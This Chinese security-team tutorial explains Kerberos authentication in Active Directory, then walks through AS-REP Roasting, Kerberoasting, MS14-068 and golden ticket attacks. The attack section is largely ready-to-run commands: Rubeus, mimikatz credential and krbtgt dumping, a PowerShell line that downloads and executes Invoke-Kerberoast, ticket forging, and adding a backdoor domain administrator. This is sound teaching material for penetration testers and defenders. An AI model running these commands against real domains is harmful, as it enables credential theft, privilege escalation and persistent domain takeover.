kerberos协议详解及攻击利用(上)

  • A+
所属分类:安全文章

点击蓝字

kerberos协议详解及攻击利用(上)

关注我们



声明

本文作者:Gality
本文字数:5500

阅读时长:15min

附件/链接:点击查看原文下载

声明:请勿用作违法用途,否则后果自负

本文属于WgpSec原创奖励计划,未经许可禁止转载




介绍



Kerberos 是一种由 MIT(麻省理工大学)提出的一种网络身份验证协议。它旨在通过使用密钥加密技术为客户端/服务器应用程序提供强身份验证。



一、

Kerberos 协议框架


在 Kerberos 协议中主要是有三个角色的存在:


1. 访问服务的 Client;

2. 提供服务的 Server;

3.KDC(Key Distribution Center)密钥分发中心


kerberos协议详解及攻击利用(上)

注意以下几点:


  • 从物理层面看,AD与KDC均安装在域控(DC)上

  • AD其实是一个类似于本机SAM的一个数据库,全程叫做account database,存储了client的白名单和所有域内用户密码的Hash,只有存在于白名单上的client才能申请到TGT

  • KDC 服务框架中包含一个 KRBTGT 账户,它是在创建域控时系统自动创建的一个账号,该账号无法登陆,但是发放票据时会使用到他的密码的Hash值


二、

Kerberos验证流程


先来形象的理解一下kerberos的验证流程:


可以把kerberos的票据类比为火车票,client是乘客,server就是火车,而KDC就是车站的认证系统,其中,KDC又包含两个部分:Authentication ServiceTicket Granting Service


Authentication Service:AS的作用是验证client的身份,功能类似于人脸核验机,如果核验通过,就会给client一张TGT(Ticket Granting Ticket)票据,类似于乘客用身份证换取火车票,有了该票已经可以上车了,但是还无法使用车上的一些服务

Ticket Granting Service:TGS的作用是通过TGT票据换取ST(service ticket),ST也被称为TGS Ticket,有了ST票据,client才能去访问相应的服务,类似于上车后用车票换取卧铺号来使用使用卧铺的过程


所以,kerberos认证的粗略流程为:


  1. client先向AS请求TGT

  2. 通过核验后,AS返回TGT

  3. client用TGT去请求TGS

  4. 使用ST访问其他服务




有了直观理解后,我们看详细的Kerberos认证流程:

当 Client 想要访问 Server 上的某个服务时,需要先向 AS 证明自己的身份,然后通过 AS 发放的 TGT 向 Server 发起认证请求,这个过程分为三块:


  1. Client 与 AS 的交互


  2. Client 与 TGS 的交互


  3. Client 与 Server 的交互


Client 与 AS 的交互


当用户登录域主机Windows系统时,本机的Kerberos服务会使用用用户的输入(用户名和密码)构造AS-REQ(Authentication Server Request)请求发送至KDC(准确来说是AS).该请求中包含:请求的用户名、客户端主机名、加密类型和Authenticator(是一个用用户NTLM Hash加密的时间戳)以及一些其他信息.


AS随后在AD中寻找用户是否在白名单,如果在白名单,则根据用户名从AD中提取对应的NTLM Hash来解密KRB_AS_REP,确认时间戳是否在允许范围内,随后生成一个随机数session Key,随后返回一个KRB_AS_REP(应答),KRB_AS_REP中包括两个部分:


  • session key-as数据:用client的NTLM Hash加密session Key

  • TGT:由 KRBTGT HASH 加密的 session key 和 TimeStamp 等信息


  • kerberos协议详解及攻击利用(上)


Client 与 TGS 的交互


Client接收到加密后的Session key-as和TGT之后,先用自身密码的Hash解密得到session key,TGT是由KDC中KRBTGT的HASH加密的,所以client无法解密.这时client用session key加密时间戳,再和TGT一起发送给KDC中的TGS换取针对某个服务主体(service principal)的服务票据(ST)(走的是KRB_TGS_REQ请求),服务主体由SPN(service principal name,服务主体名称)来表示。


Windows中有许多SPN,大家可以访问此处了解大部分SPN。为了访问实际主机,这里客户端需要请求HOST SPN。HOST主体中包含Windows的所有内置服务


kerberos协议详解及攻击利用(上)


TGS在收到Client 发送过来的 TGT 和 Session key 加密的 TimeStamp 之后,首先会检查自身是否存在 Client 所请求的服务。如果服务存在,则用 KRBTGT的HASH解密 TGT。kerberos协议详解及攻击利用(上)一般情况下,TGS会检查TGT中的时间戳查看TGT是否过期,且原始地址是否和TGT中保存的地址相同.


验证成功后将返回客户端两个东西:


  • 由session key加密的session key-tgs

  • client要访问的Server密码Hash(多数情况下是目标服务帐户的NTLM密码hash)加密的seesion key-tgs及其他信息



这两部分和在一起通过KRB_TGS_REP返回给client


TGS中包含PAC(Privileged Attribute Certificate,特权属性证书),而PAC中包含域用户及其成员身份的相关信息,如下图所示。


kerberos协议详解及攻击利用(上)


在上图中,GroupIDs为服务用来判断用户是否具备访问权限的一个元素。


Client 与 Server 的交互


client收到session key 加密生成的 session key-tgs 和 Server 密码 HASH 加密 session key-tgs生成的TGS 之后,用 session key 解密得到 session key-tgs,然后把 sessionkey-tgs 加密的 TimeStamp(Authenticator3)和 ST(也就是TGS)一起发送给 Server。


server 通过自己的密码解密 ST,得到 sessionkey-tgs, 再用 sessionkey-tgs 解密 Authenticator3 得到 TimeStamp,并查看TGS中的PAC来判断其中是否存在匹配的组SID,以便确定访问权限。

服务票据中比较特别的一点在于,KDC负责身份认证(TGT),而服务负责授权(TGS中的PAC)。确认权限后,用户就可以访问HOST服务主体,登录计算机。

我们可以使用Wireshark捕捉用户登录过程,查看整个登录流程


kerberos协议详解及攻击利用(上)


在上图中,第一个AS-REQ对应的响应信息为:

“KRB Error: KRB5KDC_ERR_PREAUTH_REQUIRED”。在Kerberos 5之前,Kerberos允许不使用密码进行身份认证,而在Kerberos 5中,密码信息不可或缺,这种过程称之为“预认证”。具体后面讲解


三、

Kerberos攻击方式


AS-REP Roasting


Kerberos预身份验证


在Windows Kerberos环境中的正常操作下,当你为给定用户启动TGT请求(Kerberos AS-REQ,消息类型为10)时,必须提供用该用户的密钥或密码加密的时间戳,该结构是PA-ENC-TIMESTAMP,并且嵌入在AS-REQ的PA-DATA(预授权数据)中,然而这两者都是在Kerberos版本5中引入的


对于任何不正确的PA-ENC-TIMESTAMP尝试,KDC都会增加badpwdcount值用来计数,该属性限制了在线密码的暴力破解


然而,出于向后兼容的考虑,Windows会默认先尝试交换AS-REQ/AS-REP(无需进行Kerberos预身份验证),不成功的话会在第二次提交时会提供加密的时间戳:因此在登录期间,发送初始AS-REQ后我们总是能看到一个错误信息(上图中)。


介绍


这是一种针对kerberos协议的攻击技术,不需要认证就可以获取到用户的密码hash值。但是该方法比较局限,需要用户账号设置 "Do not require Kerberos preauthentication(不需要kerberos预身份验证) " (该属性默认是没有勾选上的)。如果用户设置了‘不需要Kerberos预身份验证’,我们就可以直接向KDC请求TGT从而收到一个由用户NTLM Hash加密的session key用于进一步的离线破解,这也是AS-REP Roasting攻击的原理所在


利用前提


  1. 存在账户开启‘不需要预身份认证’

  2. 该账户是弱密码



攻击方式


使用Rubeus


使用如下powershell命令便利出哪些用户开启了“Do not require pre-authentication”


Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties useraccountcontrol | Format-Table name


https://github.com/GhostPack/Rubeus下载Rebeus.exe这个工具,这款工具是一个针对kerberos协议的攻击包,功能强大且还在持续更新,后续可能会考虑写篇文章来记录该工具包的用法.下载完成后上传到受害机上并运行Rubeus.exe asreproast,这行命令会得到用户账户的hash值,这个值用于加密时间戳,将这个值保存下来进行离线密码爆破


也可以直接使用Rubeus.exe asreproast /format:john /outfile: hashes.txt将hash值储存到txt文件中,存储格式是john这款工具可以破解的格式


使用ASREPRoast PowerShell Script


https://github.com/HarmJ0y/ASREPRoast并上传到靶机


Import-Module .ASREPRoast.ps1Invoke-ASREPRoastInvoke-ASREPRoast | select -ExpandProperty Hash


不过作者已经声明,该项目已被弃用,他的功能已经被合并到Rubeus中


结合msf


从meterpreter上传“ASREPRoast” powershell脚本,然后再从meterpreter执行如下指令:


upload /root ASREPROAST.ps1powershellImport-Module .ASREPRoast.ps1Invoke-ASREPRoast


拿到hash之后离线破解即可


更多的利用方式请自行发挥想象,这里不再过多描述


Kerberoasting


原理


当发送TGS时,KDC会使用时间戳+服务账户的密码hash来加密TGS.由于目标服务通常为计算机控制的某个服务,因此这里会使用提供服务的主机账户密码hash.在某些情况下,用户账户也会被创建为“服务账户”,注册为SPN.由于KDC不负责核实是否具有使用服务权限的工作(该工作由服务自己负责),因此任何用户都可以请求任何服务的TGS.这意味着如果某个用户“服务账户”被注册为SPN,那么任何用户都可以请求该用户对应的TGS,而该TGS使用用户账户密码hash加密,攻击者可以从票据中提取hash,离线破解


SPN简介及查询机制


服务主体名称(SPN:Service Principal Names)是服务实例,可以将其理解为一个服务(比如 HTTP、MSSQL)的唯一标识符,每个使用Kerberos的服务都需要一个SPN,如果想使用 Kerberos 协议来认证服务,那么必须正确配置 SPN。

SPN分为两种,一种注册在AD上机器帐户(Computers)下,另一种注册在域用户帐户(Users)下

  • 当一个服务的权限为Local System或Network Service,则SPN注册在机器帐户(Computers)下

  • 当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下。


SPN格式为


<service class>/<host>:<port> <servername>服务类型/对应机器名:服务端口[默认端口可不写]MSSQLSvc/SQLServer.rcoil.me:1433


使用 SetSPN 为机器(域用户)创建 SPN


Setspn -S http/<computername>.<domainname> <domain-user-account>


-S 参数:验证不存在重复项后,添加随意 SPN


注意: -SWindows Server 2008开始系统默认提供。



在上述的Client请求TGS的过程中,域控需要查询SPN,当域控查询某一个服务的SPN时:


如果该SPN注册在机器账户computers下,将会查询所有机器账户的servicePrincipalName属性,找到所对应的账户。


如果是注册在域用户账户users下,将会查询所有域用户账户的servicePrincipalName属性,找到其所对应的账户。



找到对应的账户之后,使用它的NTLM hash生成TGS。


注意:


    1、域内的所有主机都是可以查询SPN的

    2、域内的任何用户都是可以请求域内的任何服务的TGS的


所以,域内的任何一台主机,都可以通过查询SPN,向域内的所有服务请求TGS,然后进行暴力破解,但是对于破解出的明文,只有域用户的是可以利用的,机器账户的不能用于远程连接,所以我们的关注点主要就在域用户下注册的SPN。


利用前提


  • 存在域用户账户注册的SPN

  • 是弱密码



攻击方式


手动


使用setspn -q */*来查询所有SPN,输出结果类似于:


CN=DC1,OU=Domain Controllers,DC=test,DC=com        exchangeRFR/DC1        exchangeRFR/DC1.test.com        exchangeMDB/DC1.test.com        exchangeMDB/DC1        exchangeAB/DC1        exchangeAB/DC1.test.com        SMTP/DC1        SMTP/DC1.test.com        SmtpSvc/DC1        SmtpSvc/DC1.test.com        ldap/DC1.test.com/ForestDnsZones.test.com        ldap/DC1.test.com/DomainDnsZones.test.com        Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/DC1.test.com        DNS/DC1.test.com        GC/DC1.test.com/test.com        RestrictedKrbHost/DC1.test.com        RestrictedKrbHost/DC1        HOST/DC1/TEST        HOST/DC1.test.com/TEST        HOST/DC1        HOST/DC1.test.com        HOST/DC1.test.com/test.com        E3514235-4B06-11D1-AB04-00C04FC2DCD2/0f33253b-2314-40f0-b665-f4317b13e6b9/test.com        ldap/DC1/TEST        ldap/0f33253b-2314-40f0-b665-f4317b13e6b9._msdcs.test.com        ldap/DC1.test.com/TEST        ldap/DC1        ldap/DC1.test.com        ldap/DC1.test.com/test.comCN=krbtgt,CN=Users,DC=test,DC=com        kadmin/changepwCN=COMPUTER01,CN=Computers,DC=test,DC=com        RestrictedKrbHost/COMPUTER01        HOST/COMPUTER01        RestrictedKrbHost/COMPUTER01.test.com        HOST/COMPUTER01.test.comCN=MSSQL Service Admin,CN=Users,DC=test,DC=com        MSSQLSvc/DC1.test.com


之前也提到,我们要关注的是域用户下注册的 SPN,其中以CN开头的,每一行都代表一个账户,以CN=krbtgt,CN=Users类似打头的是域用户账户,找到对应的账户SPN后在powershell中执行如下代码,请求对应TGS:


Add-Type -AssemblyName System.IdentityModelNew-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "请求的SPN"


然后就可以用mimikatz来导出票据了:


kerberos::list /export后续就可以保存成hash用hashcat爆破密码了

hashcat -m 13100 --force <TGSs_file> <passwords_file>


能否成功取决于字典质量,就不再多说了


使用Rubeus


Rubeus.exe kerberoast /outfile:<output_TGSs_file>


使用powershell


iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")Invoke-Kerberoast -OutputFormat <TGSs_format [hashcat | john]> | % { $_.Hash } | Out-File -Encoding ASCII <output_TGSs_file>


后续利用


如果我们有了SPN的注册权限,我们就可以给指定的域用户注册一个SPN,然后获取到TGS,进而离线爆破密钥获得明文口令,使用该用户作为后门.例如为域用户Administrator添加SPNVNC/DC1.test.com,参数如下:


setspn.exe -U -A VNC/DC1.test.com Administrator


删除SPN的参数如下:


setspn.exe -D VNC/DC1.test.com Administrator


黄金票据


原理


在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个 Logon Session Key和TGT,TGT票据会使用KRBTGT的账户密码哈希来加密,同时Logon Session Key并不会保存在KDC中,krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。


这种攻击技术称为黄金票据攻击。Mimikatz可以使用KRBTGT密码的RC4哈希来伪造任何用户的票据,并且该过程不需要知道用户密码


利用前提


  • 需要与DC通信以获取TGS,但是不用与AS交互

  • 需要krbtgt用户的hash(KDC hash)


攻击方式


利用MS14-068


利用该漏洞最简单的方法是使用Impacket工具包中的goldenPac 模块


首先登陆到域内,可以用mimikatz来抓域用户账户密码:


mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt


登录后,先用systeminfo |find "3011780"检查下是否打了相应补丁,如果返回为空,则可以利用MS14-068提权,需要注意的是,域内普通用户提权成功后是有时效性的.


复制goldenPac.exe 到目标机器,使用目前已获取当前机器普通域用户和密码及域名:


goldenPac <域名>/<用户名>:<密码>@<域控地址>


执行成功后获取DC权限


或者使用proxychains将goldenPac代理进内网proxychains goldenPac.py sun.com/leo:[email protected]

goldenPac使用可能会因为pyasn1库的原因出现问题,可以参考:解决goldenPac报错问题


DCSync(mimikatz)


mimikatz 会模拟域控,向目标域控请求账号密码信息。 这种方式动静更小,不用直接登陆域控,也不需要提取NTDS.DIT文件。需要域管理员或者其他类似的高权限账户。


lsadump::dcsync /user:krbtgt


可以获取到krbtgt的NTLM hash和SID等等信息


使用MSF的kiwi扩展


获取到meterpreter后可以使用kiwi扩展获取krbtgt的hash:


meterpreter > getuidServer username: DE1AYAdministratormeterpreter > load kiwiLoading extension kiwi....#####.   mimikatz 2.1.1 20180925 (x86/windows).## ^ ##.  "A La Vie, A L'Amour"## /  ##  /*** Benjamin DELPY `gentilkiwi` ( [email protected] )##  / ##       > http://blog.gentilkiwi.com/mimikatz'## v ##'        Vincent LE TOUX            ( [email protected] )'#####'         > http://pingcastle.com / http://mysmartlogon.com  ***/
Success.meterpreter > dcsync_ntlm krbtgt[+] Account : krbtgt[+] NTLM Hash : 82dfc71b72a11ef37d663047bc2088fb[+] LM Hash : 9b5cd36575630d629f3aa6d769ec91c3[+] SID : S-1-5-21-2756371121-2868759905-3853650604-502[+] RID : 502


LSA(mimikatz)


mimikatz 可以在域控的本地安全认证(Local Security Authority)上直接读取


privilege::debug  lsadump::lsa /inject /name:krbtgt


需要在域控上执行


伪造黄金票据


上述方法中除了利用MS14-068的方法外,其他技术都只是获取到了krbtgt的NTLM hash,后续还需要自己伪造黄金票据


伪造金票的所需条件


1、域名称

2、域的SID值

3、域的KRBTGT账号的HASH

4、伪造任意用户名


方法一:


使用meterpreter中的kiwi模块:load kiwi


golden_ticket_create -d <域名> -u <任意用户名> -s <Domain SID> -k <krbtgt NTLM Hash> -t <ticket本地存储路径如:/tmp/krbtgt.ticket>


将生成的ticket注入到内存:


kerberos_ticket_use /tmp/krbtgt.ticket


成功后即可访问域内所有主机


方法二:


使用mimikatz


先用kerberos::purge把当前的凭据全部清空,然后用如下命令伪造黄金票据并注入到内存


mimikatz “kerberos::golden /domain:<域名> /sid:<域SID> /rc4:<KRBTGT NTLM Hash> /user:<任意用户名> /ptt" exit


注意:


上述方法中用到的SID,都需要在原本Object Security ID去掉RID后才是真正的SID


Object Security ID   : S-1-5-21-2756371121-2868759905-3853650604-502


注意这里的是域SID+RID(-502) RID去掉后才是域SID


后续利用


添加域管用户ccc:


net user ccc Qwe1234/add /domainnet group "Domain Admins" cccc /add /domain




后记



关于白银票据攻击和委派攻击的内容将在下篇文章分享,阅读原文阅读~



关注公众号,回复 白嫖邀请码 参加邀请码抽奖哦



扫描关注公众号回复加群

和师傅们一起讨论研究~


WgpSec狼组安全团队

微信号:wgpsec

Twitter:@wgpsec


kerberos协议详解及攻击利用(上)
kerberos协议详解及攻击利用(上)

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: